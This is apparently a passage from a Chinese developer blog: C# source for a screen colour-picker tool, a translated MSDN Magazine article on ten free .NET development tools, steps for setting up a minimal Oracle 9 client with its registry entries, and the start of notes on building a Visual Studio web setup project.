            ptLeftBottom    = new Point(0, workingArea.Height - this.Height);

            ptRightBottom   = new Point(workingArea.Width - this.Width,

                                        workingArea.Height - this.Height);

 

            String tipMsg = "在窗体空白处双击鼠标左键开始取色,按ESC键确定颜色";

            tip.SetToolTip(this, tipMsg);

            tip.SetToolTip(lblColor, tipMsg);

            tip.SetToolTip(txtArgb, tipMsg);

        }

 

        /// <summary>

        /// 清理所有正在使用的资源。

        /// </summary>

        protected override void Dispose( bool disposing )

        {

            if( disposing )

            {

                if (components != null)

                {

                    components.Dispose();

                }

            }

            base.Dispose( disposing );

        }

 

        #region Windows Form Designer generated code

        /// <summary>

        /// 设计器支持所需的方法 - 不要使用代码编辑器修改

        /// 此方法的内容。

        /// </summary>

        private void InitializeComponent()

        {

            this.components = new System.ComponentModel.Container();

            this.lblColor = new System.Windows.Forms.Label();

            this.tmr = new System.Windows.Forms.Timer(this.components);

            this.txtArgb = new System.Windows.Forms.TextBox();

            this.tip = new System.Windows.Forms.ToolTip(this.components);

            this.SuspendLayout();

            //

            // lblColor

            //

            this.lblColor.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle;

            this.lblColor.Location = new System.Drawing.Point(8, 8);

            this.lblColor.Name = "lblColor";

            this.lblColor.TabIndex = 0;

            //

            // tmr

            //

            this.tmr.Tick += new System.EventHandler(this.tmr_Tick);

            //

            // txtArgb

            //

            this.txtArgb.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle;

            this.txtArgb.Font = new System.Drawing.Font("Arial", 10.5F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((System.Byte)(0)));

            this.txtArgb.Location = new System.Drawing.Point(8, 40);

            this.txtArgb.Name = "txtArgb";

            this.txtArgb.TabIndex = 1;

            this.txtArgb.Text = "";

            this.txtArgb.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this.txtArgb_KeyPress);

            //

            // Form1

            //

            this.AutoScaleBaseSize = new System.Drawing.Size(6, 14);

            this.ClientSize = new System.Drawing.Size(115, 70);

            this.Controls.Add(this.txtArgb);

            this.Controls.Add(this.lblColor);

            this.Name = "Form1";

            this.Text = "屏幕取色(upto)";

            this.DoubleClick += new System.EventHandler(this.Form1_DoubleClick);

            this.MouseEnter += new System.EventHandler(this.Form1_MouseEnter);

            this.ResumeLayout(false);

 

        }

        #endregion

 

        /// <summary>

        /// 应用程序的主入口点。

        /// </summary>

        [STAThread]

        static void Main()

        {

            Application.Run(new Form1());

        }

 

        [ DllImport ( "gdi32.dll" ) ]

        private static extern bool BitBlt (

            IntPtr hdcDest, // 目标设备的句柄

            int nXDest, // 目标对象的左上角的X坐标

            int nYDest, // 目标对象的左上角的X坐标

            int nWidth, // 目标对象的矩形的宽度

            int nHeight, // 目标对象的矩形的长度

            IntPtr hdcSrc, // 源设备的句柄

            int nXSrc, // 源对象的左上角的X坐标

            int nYSrc, // 源对象的左上角的X坐标

            int dwRop // 光栅的操作值

        );

 

        [ DllImport ( "gdi32.dll" ) ]

        private static extern IntPtr CreateDC (

            string lpszDriver, // 驱动名称

            string lpszDevice, // 设备名称

            string lpszOutput, // 无用,可以设定位"NULL"

            IntPtr lpInitData // 任意的打印机数据

        );

 

        private void Form1_DoubleClick(object sender, EventArgs e)

        {

            formLoc         = this.Location;

            this.Location   = ptRightBottom;

            this.TopMost    = true;

            tmr.Enabled     = true;

        }

 



    private void tmr_Tick(object sender, EventArgs e)



    {



        // 创建显示器的DC



        IntPtr hdlDisplay = CreateDC("DISPLAY", null, null, IntPtr.Zero);



        // 从指定设备的句柄创建新的 Graphics 对象



        Graphics gfxDisplay = Graphics.FromHdc(hdlDisplay);



        // 创建只有一个象素大小的 Bitmap 对象



        Bitmap bmp = new Bitmap(1, 1, gfxDisplay);



        // 从指定 Image 对象创建新的 Graphics 对象



        Graphics gfxBmp = Graphics.FromImage(bmp);



        // 获得屏幕的句柄



        IntPtr hdlScreen = gfxDisplay.GetHdc();



        // 获得位图的句柄



        IntPtr hdlBmp = gfxBmp.GetHdc();



        // 把当前屏幕中鼠标指针所在位置的一个象素拷贝到位图中



        BitBlt(hdlBmp, 0, 0, 1, 1, hdlScreen, MousePosition.X, MousePosition.Y, 13369376);



        // 释放屏幕句柄



        gfxDisplay.ReleaseHdc(hdlScreen);



        // 释放位图句柄



        gfxBmp.ReleaseHdc(hdlBmp);



        lblColor.BackColor = bmp.GetPixel(0, 0); // 获取像素的颜色



        txtArgb.Text = "0x" + lblColor.BackColor.ToArgb().ToString("x").ToUpper();


        gfxDisplay.Dispose();
        gfxBmp.Dispose();



        bmp.Dispose(); // 释放 bmp 所使用的资源



    }



 


        private void txtArgb_KeyPress(object sender, KeyPressEventArgs e)

        {

            // 当按下ESC键时,确定所取的颜色ARGB值

            // 注意:只有当窗体处于激活状态时才有效

            if (e.KeyChar == (char)Keys.Escape)

            {

                tmr.Enabled = false;

                this.Location = formLoc;

                this.TopMost = false;

                txtArgb.SelectAll();

            }

        }

 

        private void Form1_MouseEnter(object sender, EventArgs e)

        {

            if (this.Location == ptLeftBottom) //窗体在左下角

            {

                this.Location = ptRightBottom;

            }

            else if (this.Location == ptRightBottom) // 窗体在右下角

            {

                this.Location = ptLeftBottom;

            }

        }

    }

}

每个开发人员现在应该下载的十种必备工具



发布日期: 7/20/2004 | 更新日期: 7/20/2004


本文自发布以来已经增加了新信息。


请参阅下面的编辑更新。


本文讨论:































用于编写单元测试的 NUnit


用于创建代码文档资料的 NDoc


用于生成解决方案的 NAnt


用于生成代码的 CodeSmith


用于监视代码的 FxCop


用于编译少量代码的 Snippet Compiler


两种不同的转换器工具:ASP.NET 版本转换器和 Visual Studio .NET 项目转换器


用于生成正则表达式的 Regulator


用于分析程序集的 .NET Reflector


本文使用了下列技术:


.NET、C# 或 Visual Basic .NET、Visual Studio .NET


除非您使用能够获得的最佳工具,否则您无法期望生成一流的应用程序。除了像 Visual Studio®.NET 这样的著名工具以外,还可以从 .NET 社区获得许多小型的、不太为人所知的工具。在本文中,我将向您介绍一些目前可以获得的、面向 .NET 开发的最佳免费工具。我将引导您完成一个有关如何使用其中每种工具的快速教程 — 一些工具在许多时候可以使您节约一分钟,而另一些工具则可能彻底改变您编写代码的方式。因为我要在本篇文章中介绍如此之多的不同工具,所以我无法详尽讨论其中每种工具,但您应该了解到有关每种工具的足够信息,以便判断哪些工具对您的项目有用。




本页内容









































Snippet Compiler
Regulator
CodeSmith
生成自定义模板
NUnit
编写 NUnit 测试
FxCop
Lutz Roeder 的 .NET Reflector
NDoc
NAnt
实际运行的 NAnt
转换工具
小结

Snippet Compiler


Snippet Compiler 是一个基于 Windows® 的小型应用程序,您可以通过它来编写、编译和运行代码。如果您具有较小的代码段,并且您不希望为其创建完整的 Visual Studio .NET 项目(以及伴随该项目的所有文件),则该工具将很有用。


例如,假设我希望向您说明如何从 Microsoft?.NET 框架中启动另一个应用程序。在 Snippet Compiler 中,我将通过新建一个能够创建小型控制台应用程序的文件开始。可以在该控制台应用程序的 Main 方法内部创建代码片段,而这正是我要在这里做的事情。下面的代码片段演示了如何从 .NET 框架中创建记事本实例:

System.Diagnostics.Process proc = new System.Diagnostics.Process();
proc.StartInfo.FileName= "notepad.exe";
proc.Start();
proc.WaitForExit();

当然该代码片段本身无法编译,而这正是 Snippet Compiler 的用武之地。图 1 显示了 Snippet Compiler 中的这一代码示例。




1 Snippet Compiler



要测试该代码片段,只须按 play(运行)按钮(绿色三角形),它就会在调试模式下运行。该代码片段将生成一个弹出式控制台应用程序,并且将显示记事本。当您关闭记事本时,该控制台应用程序也将关闭。


就我个人而言,我是在尝试为某位向我求助的人士创建一个小型示例时,才发现 Snippet Compiler 是如此宝贵的 — 如果不使用该工具,则我通常必须新建一个项目,确保每个部分都能编译通过,然后将代码片段发送给求助者,并删除该项目。Snippet Compiler 使得这一过程变得更加容易、更加愉快。


Snippet Compiler 由 Jeff Key 编写,并且可以从 http://www.sliver.com/dotnet/SnippetCompiler 下载。



Regulator


Regulator 是最后一个添加到我的头等工具清单中的。它是一种很有特色的工具,能够使生成和测试正则表达式变得很容易。人们对正则表达式重新产生了兴趣,因为它们在 .NET 框架中受到很好的支持。正则表达式用来基于字符、频率和字符顺序定义字符串中的模式。它们最常见的用途是作为验证用户输入有效性的手段或者作为在较大字符串中查找字符串的方法 — 例如,在 Web 页上查找 URL 或电子邮件地址。


Regulator 使您可以输入一个正则表达式以及一些针对其运行该表达式的输入内容。这样,在应用程序中实现该正则表达式之前,您可以了解它将产生什么效果以及它将返回哪些种类的匹配项。图 2 显示了带有简单正则表达式的 Regulator。


文档中包含该正则表达式 — 在该示例中,它是 [0-9]*,应该匹配一行中任意数量的数字。右下侧的框中含有针对该正则表达式的输入,而左下侧的框显示了该正则表达式在输入内容中找到的匹配项。在这样的单独应用程序中编写和测试正则表达式,要比尝试在您的应用程序中处理它们容易得多。


Regulator 中的最佳功能之一是能够在 regexlib.com 搜索联机正则表达式库。例如,如果您在搜索框中输入字符串“phone”,您将找到 20 种以上能够匹配各种电话号码的不同的正则表达式,包括用于英国、澳大利亚的表达式以及其他许多电话号码。Regulator 由 Roy Osherove 编写,并且可以在 http://royo.is-a-geek.com/regulator 下载。



CodeSmith


CodeSmith 是一种基于模板的代码生成工具,它使用类似于 ASP.NET 的语法来生成任意类型的代码或文本。与其他许多代码生成工具不同,CodeSmith 不要求您订阅特定的应用程序设计或体系结构。使用 CodeSmith,可以生成包括简单的强类型集合和完整应用程序在内的任何东西。


当您生成应用程序时,您经常需要重复完成某些特定的任务,例如编写数据访问代码或者生成自定义集合。CodeSmith 在这些时候特别有用,因为您可以编写模板自动完成这些任务,从而不仅提高您的工作效率,而且能够自动完成那些最为乏味的任务。CodeSmith 附带了许多模板,包括对应于所有 .NET 集合类型的模板以及用于生成存储过程的模板,但该工具的真正威力在于能够创建自定义模板。为了使您能够入门,我将快速介绍一下如何生成自定义模板。



生成自定义模板


CodeSmith 模板只是一些可以在任意文本编辑器中创建的文本文件。它们的唯一要求是用 .cst 文件扩展名来保存它们。我将要生成的示例模板将接受一个字符串,然后基于该字符串生成一个类。创建模板的第一步是添加模板头,它可声明模板的语言、目标语言以及简要模板说明:

<%@ CodeTemplate Language="C#"    
TargetLanguage="C#"
Description="Car Template" %>

模板的下一部分是属性声明,在这里可声明将在模板每次运行时指定的属性。就该模板而言,我要使用的唯一属性只是一个字符串,因此属性声明如下所示:

<%@ Property Name="ClassName" Type="String" Category="Context" 
Description="Class Name" %>

该属性声明将使 ClassName 属性出现在 CodeSmith 属性窗口中,以便可以在模板运行时指定它。下一步是实际生成模板主体,它非常类似于用 ASP.NET 进行编码。您可以在图 3 中查看该模板的主体。[编辑更新 — 6/16/2004:图 3 中的代码已被更新,以便对多线程操作保持安全。]


正如您所见,该模板接受字符串输入并使用该类名生成单独的类。在模板主体中,使用与 ASP.NET 中相同的起始和结束标记。在该模板中,我只是插入属性值,但您还可以在这些标记内部使用任意类型的 .NET 代码。在该模板完成之后,您就可以通过双击它或者从 CodeSmith 应用程序中打开它将其加载到 CodeSmith 中。图 4 显示了已经加载到 CodeSmith 中的该模板。


您可以看到左侧的属性正是我在该模板中声明的属性。如果我输入“SingletonClass”作为类名,并单击 Generate 按钮,则将生成图 3 的底部显示的类。


CodeSmith 使用起来相当容易,如果能够正确应用,则可以产生一些令人难以置信的结果。面向代码生成的应用程序中最常见的部分之一是数据访问层。CodeSmith 包括一个名为 SchemaExplorer 的特殊的程序集,可用来从表、存储过程或几乎任何其他 SQL Server? 对象生成模板。


CodeSmith 由 Eric J. Smith 编写,并且可以在 http://www.ericjsmith.net/codesmith 下载。



NUnit


NUnit 是为 .NET 框架生成的开放源代码单元测试框架。NUnit 使您可以用您喜欢的语言编写测试,从而测试应用程序的特定功能。当您首次编写代码时,单元测试是一种测试代码功能的很好方法,它还提供了一种对应用程序进行回归测试的方法。NUnit 应用程序提供了一个用于编写单元测试的框架,以及一个运行这些测试和查看结果的图形界面。



编写 NUnit 测试


作为示例,我将测试 .NET 框架中 Hashtable 类的功能,以确定是否可以添加两个对象并且随后检索这些对象。我的第一步是添加对 NUnit.Framework 程序集的引用,该程序集将赋予我对 NUnit 框架的属性和方法的访问权。接下来,我将创建一个类并用 TestFixture 属性标记它。该属性使 NUnit 可以知道该类包含 NUnit 测试:

using System;
using System.Collections;
using NUnit.Framework;
namespace NUnitExample
{
[TestFixture]
public class HashtableTest {
public HashtableTest() {

}
}
}

下一步,我将创建一个方法并用 [Test] 属性标记它,以便 NUnit 知道该方法是一个测试。然后,我将建立一个 Hashtable 并向其添加两个值,再使用 Assert.AreEqual 方法查看我是否可以检索到与我添加到 Hashtable 的值相同的值,如下面的代码所示:

[Test]
public void HashtableAddTest()
{
Hashtable ht = new Hashtable();

ht.Add("Key1", "Value1");
ht.Add("Key2", "Value2");
Assert.AreEqual("Value1", ht["Key1"], "Wrong object returned!");
Assert.AreEqual("Value2", ht["Key2"], "Wrong object returned!");
}

这将确认我可以首先向 Hashtable 中添加值并随后检索相应的值 — 这是一个很简单的测试,但能够表现 NUnit 的功能。存在许多测试类型以及各种 Assert 方法,可使用它们来测试代码的每个部分。


要运行该测试,我需要生成项目,在 NUnit 应用程序中打开生成的程序集,然后单击 Run 按钮。图 5 显示了结果。当我看到那个大的绿色条纹时,我有一种兴奋和头晕的感觉,因为它让我知道测试已经通过了。这个简单的示例表明 NUnit 和单元测试是多么方便和强大。由于能够编写可以保存的单元测试,并且每当您更改代码时都可以重新运行该单元测试,您不仅可以更容易地检测到代码中的缺陷,而且最终能够交付更好的应用程序。




5 NUnit



NUnit 是一个开放源代码项目,并且可以从 http://www.nunit.org 下载。还有一个优秀的 NUnit Visual Studio .NET 外接程序,它使您可以直接从 Visual Studio 中运行单元测试。您可以在 http://sourceforge.net/projects/nunitaddin 找到它。有关 NUnit 及其在测试驱动开发中的地位的详细信息,请参阅文章“Test-Driven C#: Improve the Design and Flexibility of Your Project with Extreme Programming Techniques”(MSDN ®Magazine 2004 年 4 月刊)。



FxCop


.NET 框架非常强大,这意味着存在创建优秀应用程序的极大可能,但是也同样存在创建劣质程序的可能。FxCop 是有助于创建更好的应用程序的工具之一,它所采用的方法是:使您能够分析程序集,并使用一些不同的规则来检查它是否符合这些规则。FxCop 随附了由 Microsoft 创建的固定数量的规则,但您也可以创建并包括您自己的规则。例如,如果您决定所有的类都应该具有一个不带任何参数的默认构造函数,则可以编写一条规则,以确保程序集的每个类上都具有一个构造函数。这样,无论是谁编写该代码,您都将获得一定程度的一致性。如果您需要有关创建自定义规则的详细信息,请参阅 John Robbins 的有关该主题的 Bugslayer 专栏文章(MSDN ® Magazine 2004 年 6 月刊)。


那么,让我们观察一下实际运行的 FxCop,并且看一下它在我一直在处理的 NUnitExample 程序集中找到哪些错误。当您打开 FxCop 时,您首先需要创建一个 FxCop 项目,然后向其添加您要测试的程序集。在将该程序集添加到项目以后,就可以按 Analyze,FxCop 将分析该程序集。图 6 中显示了在该程序集中找到的错误和警告。


FxCop 在我的程序集中找到了几个问题。您可以双击某个错误以查看详细信息,包括规则说明以及在哪里可以找到更多信息。(您可以做的一件有趣的事情是在框架程序集上运行 FxCop 并查看发生了什么事情。)


FxCop 可以帮助您创建更好的、更一致的代码,但它无法补偿低劣的应用程序设计或非常简单拙劣的编程。FxCop 也不能替代对等代码检查,但是因为它可以在进行代码检查之前捕获大量错误,所以您可以花费更多时间来解决严重的问题,而不必担心命名约定。FxCop 由 Microsoft 开发,并且可以从 http://www.gotdotnet.com/team/fxcop 下载。



Lutz Roeder 的 .NET Reflector


下一个必不可少的工具称为 .NET Reflector,它是一个类浏览器和反编译器,可以分析程序集并向您展示它的所有秘密。.NET 框架向全世界引入了可用来分析任何基于 .NET 的代码(无论它是单个类还是完整的程序集)的反射概念。反射还可以用来检索有关特定程序集中包含的各种类、方法和属性的信息。使用 .NET Reflector,您可以浏览程序集的类和方法,可以分析由这些类和方法生成的 Microsoft 中间语言 (MSIL),并且可以反编译这些类和方法并查看 C# 或 Visual Basic ®.NET 中的等价类和方法。


为了演示 .NET Reflector 的工作方式,我将加载和分析前面已经显示的 NUnitExample 程序集。图 7 显示了 .NET Reflector 中加载的该程序集。




7 NUnitExample 程序集



在 .NET Reflector 内部,有各种可用来进一步分析该程序集的工具。要查看构成某个方法的 MSIL,请单击该方法并从菜单中选择 Disassembler。


除了能够查看 MSIL 以外,您还可以通过选择 Tools 菜单下的 Decompiler 来查看该方法的 C# 形式。通过在 Languages 菜单下更改您的选择,您还可以查看该方法被反编译到 Visual Basic .NET 或 Delphi 以后的形式。以下为 .NET Reflector 生成的代码:

public void HashtableAddTest()
{
Hashtable hashtable1;
hashtable1 = new Hashtable();
hashtable1.Add("Key1", "Value1");
hashtable1.Add("Key2", "Value2");
Assert.AreEqual("Value1", hashtable1["Key1"],
"Wrong object returned!");
Assert.AreEqual("Value2", hashtable1["Key2"],
"Wrong object returned!");
}

前面的代码看起来非常像我为该方法实际编写的代码。以下为该程序集中的实际代码:

public void HashtableAddTest()
{
Hashtable ht = new Hashtable();

ht.Add("Key1", "Value1");
ht.Add("Key2", "Value2");
Assert.AreEqual("Value1", ht["Key1"],
"Wrong object returned!");
Assert.AreEqual("Value2", ht["Key2"],
"Wrong object returned!");
}

尽管上述代码中存在一些小的差异,但它们在功能上是完全相同的。


虽然该示例是一种显示实际代码与反编译代码之间对比的好方法,但在我看来,它并不代表 .NET Reflector 所具有的最佳用途 — 分析 .NET 框架程序集和方法。.NET 框架提供了许多执行类似操作的不同方法。例如,如果您需要从 XML 中读取一组数据,则存在多种使用 XmlDocument、XPathNavigator 或 XmlReader 完成该工作的不同方法。通过使用 .NET Reflector,您可以查看 Microsoft 在编写数据集的 ReadXml 方法时使用了什么,或者查看他们在从配置文件读取数据时做了哪些工作。.NET Reflector 还是一个了解以下最佳实施策略的优秀方法:创建诸如 HttpHandlers 或配置处理程序之类的对象,因为您可以了解到 Microsoft 工作组实际上是如何在框架中生成这些对象的。


.NET Reflector 由 Lutz Roeder 编写,并且可以从 http://www.aisto.com/roeder/dotnet 下载。



NDoc


编写代码文档资料几乎总是一项令人畏惧的任务。我所说的不是早期设计文档,甚至也不是更为详细的设计文档;我说的是记录类上的各个方法和属性。NDoc 工具能够使用反射来分析程序集,并使用从 C# XML 注释生成的 XML 自动为代码生成文档资料。XML 注释仅适用于 C#,但有一个名为 VBCommenter 的 Visual Studio .NET Power Toy,它能够为 Visual Basic .NET 完成类似的工作。此外,下一版本的 Visual Studio 将为更多语言支持 XML 注释。


使用 NDoc 时,您仍然在编写代码的技术文档,但您是在编写代码的过程中完成了文档编写工作(在 XML 注释中),而这更容易忍受。使用 NDoc 时,第一步是为您的程序集打开 XML 注释生成功能。右键单击该项目并选择 Properties | Configuration Properties | Build,然后在 XML Documentation File 选项中输入用于保存 XML 文件的路径。当该项目生成时,将创建一个 XML 文件,其中包含所有 XML 注释。下面是 NUnit 示例中的一个用 XML 编写了文档的方法:

/// <summary>
/// This test adds a number of values to the Hashtable collection
/// and then retrieves those values and checks if they match.
/// </summary>
[Test]
public void HashtableAddTest()
{
//Method Body Here
}

有关该方法的 XML 文档资料将被提取并保存在 XML 文件中,如下所示:

<member name="M:NUnitExample.HashtableTest.HashtableAddTest">
<summary>This test adds a number of values to the Hashtable collection
and then retrieves those values and checks if they match.</summary>
</member>

NDoc 使用反射来考察您的程序集,然后读取该文档中的 XML,并且将它们进行匹配。NDoc 使用该数据来创建任意数量的不同文档格式,包括 HTML 帮助文件 (CHM)。在生成 XML 文件以后,下一步是将程序集和 XML 文件加载到 NDoc 中,以便可以对它们进行处理。通过打开 NDoc 并单击 Add 按钮,可以容易地完成该工作。


在将程序集和 XML 文件加载到 NDoc 中并且使用可用的属性范围自定义输出以后,单击 Generate 按钮将启动生成文档资料的过程。使用默认的属性,NDoc 可以生成一些非常吸引人并且实用的 .html 和 .chm 文件,从而以快速有效的方式自动完成原来非常乏味的任务。


NDoc 是一个开放源代码项目,并且可以从 http://ndoc.sourceforge.net 下载。



NAnt


NAnt 是一个基于 .NET 的生成工具,与当前版本的 Visual Studio .NET 不同,它使得为您的项目创建生成过程变得非常容易。当您拥有大量从事单个项目的开发人员时,您不能依赖于从单个用户的座位进行生成。您也不希望必须定期手动生成该项目。您更愿意创建每天晚上运行的自动生成过程。NAnt 使您可以生成解决方案、复制文件、运行 NUnit 测试、发送电子邮件,等等。遗憾的是,NAnt 缺少漂亮的图形界面,但它的确具有可以指定应该在生成过程中完成哪些任务的控制台应用程序和 XML 文件。注意,MSBuild(属于 Visual Studio 2005 的新的生成平台)为每种健壮的生成方案进行了准备,并且由基于 XML 的项目文件以类似的方式驱动。



实际运行的 NAnt


在该示例中,我将为前面创建的 NUnitExample 解决方案创建一个 NAnt 版本文件。首先,我需要创建一个具有 .build 扩展名的 XML 文件,将其放在我的项目的根目录中,然后向该文件的顶部添加一个 XML 声明。我需要添加到该文件的第一个标记是 project 标记:

<?xml version="1.0"?>
<project name="NUnit Example" default="build" basedir=".">
<description>The NUnit Example Project</description>
</project>

项目标记还用于设置项目名称、默认目标以及基目录。Description 标记用于设置该项目的简短说明。


接下来,我将添加 property 标记,该标记可用于将设置存储到单个位置(随后可以从文件中的任意位置访问该位置)。在该例中,我将创建一个名为 debug 的属性,我可以随后将其设置为 true 或 false,以反映我是否要在调试配置下编译该项目。(最后,这一特定属性并未真正影响如何生成该项目;它只是您设置的一个变量,当您真正确定了如何生成该项目时将读取该变量。)


接下来,我需要创建一个 target 标记。一个项目可以包含多个可在 NAnt 运行时指定的 target。如果未指定 target,则使用默认 target(我在 project 元素中设置的 target)。在该示例中,默认 target 是 build。让我们观察一下 target 元素,它将包含大多数生成信息:

<target name="build" description="compiles the source code">
</target>

在 target 元素内,我将把 target 的名称设置为 build,并且创建有关该 target 将做哪些工作的说明。我还将创建一个 csc 元素,该元素用于指定应该传递给 csc C# 编译器的数据。让我们看一下该 csc 元素:

<csc target="library" output=".\bin\debug\NUnitExample.dll" 
debug="${debug}">
<references>
<includes name="C:\program files\NUnit V2.1\bin\NUnit.Framework.dll"/>
</references>
<sources>
<includes name="HashtableTest.cs"/>
</sources>
</csc>

首先,我必须设置该 csc 元素的 target。在该例中,我将创建一个 .dll 文件,因此我将 target 设置为 library。接下来,我必须设置 csc 元素的 output,它是将要创建 .dll 文件的位置。最后,我需要设置 debug 属性,它确定了是否在调试中编译该项目。因为我在前面创建了一个用于存储该值的属性,所以我可以使用下面的字符串来访问该属性的值:${debug}。Csc 元素还包含一些子元素。我需要创建两个元素:references 元素将告诉 NAnt 需要为该项目引用哪些程序集,sources 元素告诉 NAnt 要在生成过程中包含哪些文件。在该示例中,我引用了 NUnit.Framework.dll 程序集并包含了 HashtableTest.cs 文件。图 8 中显示了完整的生成文件。(您通常还要创建一个干净的 target,用于删除生成的文件,但为了简洁起见,我已经将其省略。)


要生成该文件,我需要转到我的项目的根目录(生成文件位于此处),然后从该位置执行 nant.exe。如果生成成功,您可以在该应用程序的 bin 目录中找到 .dll 和 .pdb 文件。尽管使用 NAnt 肯定不像在 Visual Studio 中单击 Build 那样简单,但它仍然是一种非常强大的工具,可用于开发按自动计划运行的生成过程。NAnt 还包括一些有用的功能,例如能够运行单元测试或者复制附加文件(这些功能没有受到当前 Visual Studio 生成过程的支持)。


NAnt 是一个开放源代码项目,并且可以从 http://nant.sourceforge.net 下载。



转换工具


我已经将两个独立的工具合在一起放在标题“转换工具”下面。这两个工具都非常简单,但又可能极为有用。第一个工具是 ASP.NET 版本转换器,它可用于转换 ASP.NET(虚拟目录在它下面运行)的版本。第二个工具是 Visual Studio Converter,它可用于将项目文件从 Visual Studio .NET 2002 转换到 Visual Studio .NET 2003。


当 IIS 处理请求时,它会查看正在请求的文件的扩展名,然后基于该 Web 站点或虚拟目录的扩展名映射,将请求委派给 ISAPI 扩展或者自己处理该请求。这正是 ASP.NET 的工作方式;将为所有 ASP.NET 扩展名注册扩展名映射,并将这些扩展名映射导向 aspnet_isapi.dll。这种工作方式是完美无缺的,除非您安装了 ASP.NET 1.1 — 它会将扩展名映射升级到新版本的 aspnet_isapi.dll。当在 ASP.NET 1.0 上生成的应用程序试图用 1.1 版运行时,这会导致错误。要解决该问题,可以将所有扩展名映射重新转换到 1.0 版的 aspnet_isapi.dll,但是由于有 18 种扩展名映射,所以手动完成这一工作将很枯燥。这正是 ASP.NET 版本转换器可以发挥作用的时候。使用这一小型实用工具,可以转换任何单个 ASP.NET 应用程序所使用的 .NET 框架的版本。




9 ASP.NET 版本转换器



图 9 显示了实际运行的 ASP.NET 版本转换器。它的使用方法非常简单,只须选择相应的应用程序,然后选择您希望该应用程序使用的 .NET 框架版本。该工具随后将使用 aspnet_regiis.exe 命令行工具将该应用程序转换到所选版本的框架。随着将来版本的 ASP.NET 和 .NET 框架的发布,该工具将变得更为有用。


ASP.NET 版本转换器由 Denis Bauer 编写,并且可以从 http://www.denisbauer.com/NETTools/ASPNETVersionSwitcher.aspx 下载。


Visual Studio .NET 项目转换器(参见图 10)非常类似于 ASP.NET 版本转换器,区别在于它用于转换 Visual Studio 项目文件的版本。尽管在 .NET 框架的 1.0 版和 1.1 版之间只有很小的差异,但一旦将项目文件从 Visual Studio .NET 2002 转换到 Visual Studio .NET 2003,将无法再把它转换回去。虽然这在大多数时候可能不会成为问题(因为在 .NET 框架 1.0 版和 1.1 版之间几乎没有什么破坏性的更改),但在某些时刻您可能需要将项目转换回去。该转换器可以将任何解决方案或项目文件从 Visual Studio 7.1 (Visual Studio .NET 2003) 转换到 Visual Studio 7.0 (Visual Studio .NET 2002),并在必要时进行反向转换。




10 Visual Studio .NET 项目转换器



Visual Studio .NET 项目转换器由 Dacris Software 编写。该工具可以从 http://www.codeproject.com/macro/vsconvert.asp 下载。



小结


本文采用走马观花的方式介绍了上述工具,但我已经试图起码向您提供足够的信息以激起您的好奇心。我相信本文已经让您在某种程度上领悟了几个免费工具,您可以立即开始使用这些工具来编写更好的项目。同时,我还要敦促您确保自己拥有所有其他可以获得的合适工具,无论是最新版本的 Visual Studio、功能强大的计算机还是免费的实用工具。拥有合适的工具将使一切变得大不相同。


James Avery 是一位使用 .NET 和其他 Microsoft 技术的顾问。他已经撰写了许多书籍和文章,他的最新著作是《ASP.NET Setup and Configuration Pocket Reference》(Microsoft Press, 2003)。您可以通过 javery@infozerk.com 向他发送电子邮件,并且在 http://www.dotavery.com/blog 阅读他的网络日记。


本文摘自 MSDN Magazine2004 年 7 月刊。


该杂志可在各地的报摊购买,也可以订阅


转到原英文页面

Oracle 最小客户端制作

| 1 Comment

一、将Oracle目录\oracle\ora92\bin所有的*.dll文件、\oracle\ora92\network下所有文件、\oracle\ora92\ocommon下所有文件、\oracle\ora92\oracore所有文件复制到C:盘根目录下;
二、修改ORACLE\ora92\NETWORK\ADMIN\的listener和tnsnames 文件
1、LISTENER文件配置 
LISTENER =
  (DESCRIPTION_LIST =
    (DESCRIPTION =
      (ADDRESS = (PROTOCOL = TCP)(HOST = 你的ORACLE服务器IP)(PORT = 1521))
    )
    (DESCRIPTION =
      (ADDRESS = (PROTOCOL = IPC)(KEY = EXTPROC0))
    )
  )


SID_LIST_LISTENER =
  (SID_LIST =
    (SID_DESC =
      (SID_NAME = PLSExtProc)
      (ORACLE_HOME = C:\ORACLE)
      (PROGRAM = extproc)
    )
  )
2、TNSNAMES文件配置
dbserver =  //连接字符串
  (DESCRIPTION =
    (ADDRESS_LIST =
      (ADDRESS = (PROTOCOL = TCP)(HOST = 你的ORACLE服务器IP)(PORT = 1521))
    )
    (CONNECT_DATA =
      (SERVICE_NAME = ORACLE9)//oracle9为oracle服务器的实例名
    )
  )
三、执行注册表文件(不知道怎么做这个注册表文件可以问我要--QQ:20322267);
如下是注册表文件的内容
Windows Registry Editor Version 5.00


[HKEY_LOCAL_MACHINE\SOFTWARE\oracle]
"NLS_LANG"="AMERICAN_AMERICA.zhs16gbk"
"ORACLE_HOME"="C:\\ORACLE"
"ORACLE_HOME_NAME"="DEFAULT_HOME"
"ORACLE_GROUP_NAME"="Oracle - DEFAULT_HOME"


[HKEY_LOCAL_MACHINE\SOFTWARE\oracle\ALL_HOMES]
"HOME_COUNTER"="1"
"DEFAULT_HOME"="DEFAULT_HOME"
"LAST_HOME"="0"


[HKEY_LOCAL_MACHINE\SOFTWARE\oracle\ALL_HOMES\ID0]
"NAME"="DEFAULT_HOME"
"PATH"="C:\\ORACLE"
"NLS_LANG"="NA"


[HKEY_LOCAL_MACHINE\SOFTWARE\oracle\HOME0]
"ID"="0"
"ORACLE_GROUP_NAME"="Oracle - DEFAULT_HOME"
"ORACLE_HOME_NAME"="DEFAULT_HOME"
"ORACLE_HOME"="C:\\ORACLE"
"NLS_LANG"="AMERICAN_AMERICA.zhs16gbk"
"ORACLE_BUNDLE_NAME"="Enterprise"
"ORACLE_HOME_KEY"="Software\\ORACLE\\HOME0"


四、将C:\oracle\ora92\bin路径加入AUTOEXEC.BAT批处理里面或环境变量的系统变量PATH里。
  PATH=C:\oracle\ora92\bin
五、把PB9的所有动态连接库拷到C盘PB9DLL下,把路径加到AUTOEXEC.BAT批处理里面;
  PATH=C:\PB9DLL

安装文件制作总结

| 1 Comment

一、创建基本安装部署项目
1.在解决方案资源管理器,右击解决方案->添加->新建项目->安装部署项目->Web安装项目,例如命名为


WebSetup。


2.右击WebSetup项目->视图->文件系统。
(1)添加你所需要安装的Web程序(例如:WebApp)。在文件系统中右击Web应用程序文件夹->项目输出


->选择WebApp,同时选种主输出何内容输出。
(2)添加相关的文件,例如.jpg 、.xml等文件(根据帮助可知这些文件无法自动添加到安装文件中),


注意:原文件怎么样存放的,添加时也要以同样的文件夹存放。
